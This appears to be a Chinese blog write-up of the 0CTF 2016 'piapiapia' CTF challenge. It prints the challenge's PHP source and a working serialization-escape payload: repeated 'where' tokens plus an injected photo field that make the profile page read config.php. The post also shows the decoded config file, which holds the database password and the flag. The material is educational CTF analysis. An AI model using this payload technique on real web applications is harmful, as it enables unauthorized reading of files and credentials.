php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)


Posted in PHP onFebruary 15, 2020

一个很可爱的登录界面:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描,发现源码泄露www.zip,把源码给出:

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

在输入账号密码之后进入了profile.php,下面是profile.php的源码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

还有注册页面的源码(没有太大用),register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

然后是update.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

核心的处理代码,class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看来flag就是在config.php中了,要想办法拿到config.php的内容了。

然后就是代码审计了。

seay代码审计系统也可以给点线索的:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

这个地方貌似有个文件读取的地方,在profile.php中:

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:

Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。

在设置了$profile之后,用update_profile()函数进行处理:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

进行了过滤:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
数组即可绕过:
nickname[]=

那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可: php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

然后进入到profile中查看图片信息,把base64码解码:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解码得到:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

总结

以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!

PHP 相关文章推荐
如何对PHP程序中的常见漏洞进行攻击(下)
Oct 09 PHP
PHP分页显示制作详细讲解
Dec 05 PHP
一贴学会PHP 新手入门教程
Aug 03 PHP
有道搜索和IP138的IP的API接口(PHP应用)
Nov 29 PHP
setcookie中Cannot modify header information-headers already sent by错误的解决方法详解
May 08 PHP
纯PHP代码实现支付宝批量付款
Dec 24 PHP
PHP实现仿百度文库,豆丁在线文档效果(word,excel,ppt转flash)
Mar 10 PHP
PHP实现文件上传下载实例
Oct 18 PHP
PHP操作MySQL中BLOB字段的方法示例【存储文本与图片】
Sep 15 PHP
利用PHP获取汉字首字母并且分组排序详解
Oct 22 PHP
PHP信号处理机制的操作代码讲解
Apr 19 PHP
php use和include区别总结
Oct 13 PHP
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
Feb 15 #PHP
laravel框架使用极光推送消息操作示例
Feb 15 #PHP
laravel框架使用阿里云短信发送消息操作示例
Feb 15 #PHP
laravel框架实现敏感词汇过滤功能示例
Feb 15 #PHP
PHP 枚举类型的管理与设计知识点总结
Feb 13 #PHP
PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解
Feb 12 #PHP
分享8个Laravel模型时间戳使用技巧小结
Feb 12 #PHP
You might like
合作指挥官:孟斯克
2020/03/16 星际争霸
php防注
2007/01/15 PHP
PHP统计数值数组中出现频率最多的10个数字的方法
2015/04/20 PHP
Joomla简单判断用户是否登录的方法
2016/05/04 PHP
php处理抢购类功能的高并发请求
2018/02/08 PHP
基于jquery实现的移入页面上空文本框时,让它变为焦点,移出清除焦点
2011/07/26 Javascript
jQuery setTimeout传递字符串参数报错的解决方法
2014/06/09 Javascript
轻松创建nodejs服务器(1):一个简单nodejs服务器例子
2014/12/18 NodeJs
JavaScript中的console.profile()函数详细介绍
2014/12/29 Javascript
jQuery操作JSON的CRUD用法实例
2015/02/25 Javascript
JavaScript结合Bootstrap仿微信后台多图文界面管理
2016/07/22 Javascript
深入学习js瀑布流布局
2016/10/14 Javascript
angularJS之$http:与服务器交互示例
2017/03/17 Javascript
jQuery实现简单的抽奖游戏
2017/05/05 jQuery
vue.js开发实现全局调用的MessageBox组件实例代码
2017/11/22 Javascript
详解vue如何使用rules对表单字段进行校验
2018/10/17 Javascript
react的滑动图片验证码组件的示例代码
2019/02/27 Javascript
[18:16]sakonoko 2017年卡尔集锦
2018/02/06 DOTA
python socket网络编程步骤详解(socket套接字使用)
2013/12/06 Python
用python写个自动SSH登录远程服务器的小工具(实例)
2017/06/17 Python
几个适合python初学者的简单小程序,看完受益匪浅!(推荐)
2019/04/16 Python
Python如何获取Win7,Win10系统缩放大小
2020/01/10 Python
python 对任意数据和曲线进行拟合并求出函数表达式的三种解决方案
2020/02/18 Python
python中def是做什么的
2020/06/10 Python
PyQt5 QDockWidget控件应用详解
2020/08/12 Python
西班牙汉普顿小姐:购买帆布鞋和太阳镜
2016/10/23 全球购物
远程Wi-Fi宠物监控相机:Petcube
2017/04/26 全球购物
DNA基因检测和分析:23andMe
2019/05/01 全球购物
物业招聘计划书
2014/01/10 职场文书
信息管理与信息系统专业求职信
2014/06/21 职场文书
2014教师党员自我评议总结
2014/09/19 职场文书
毕业生银行实习自我鉴定
2014/10/14 职场文书
2015年销售员工作总结范文
2015/04/07 职场文书
写给纪委的违纪检讨书
2015/05/05 职场文书
如何用threejs实现实时多边形折射
2021/05/07 Javascript
常用的文件对应的MIME类型汇总
2022/04/26 HTML / CSS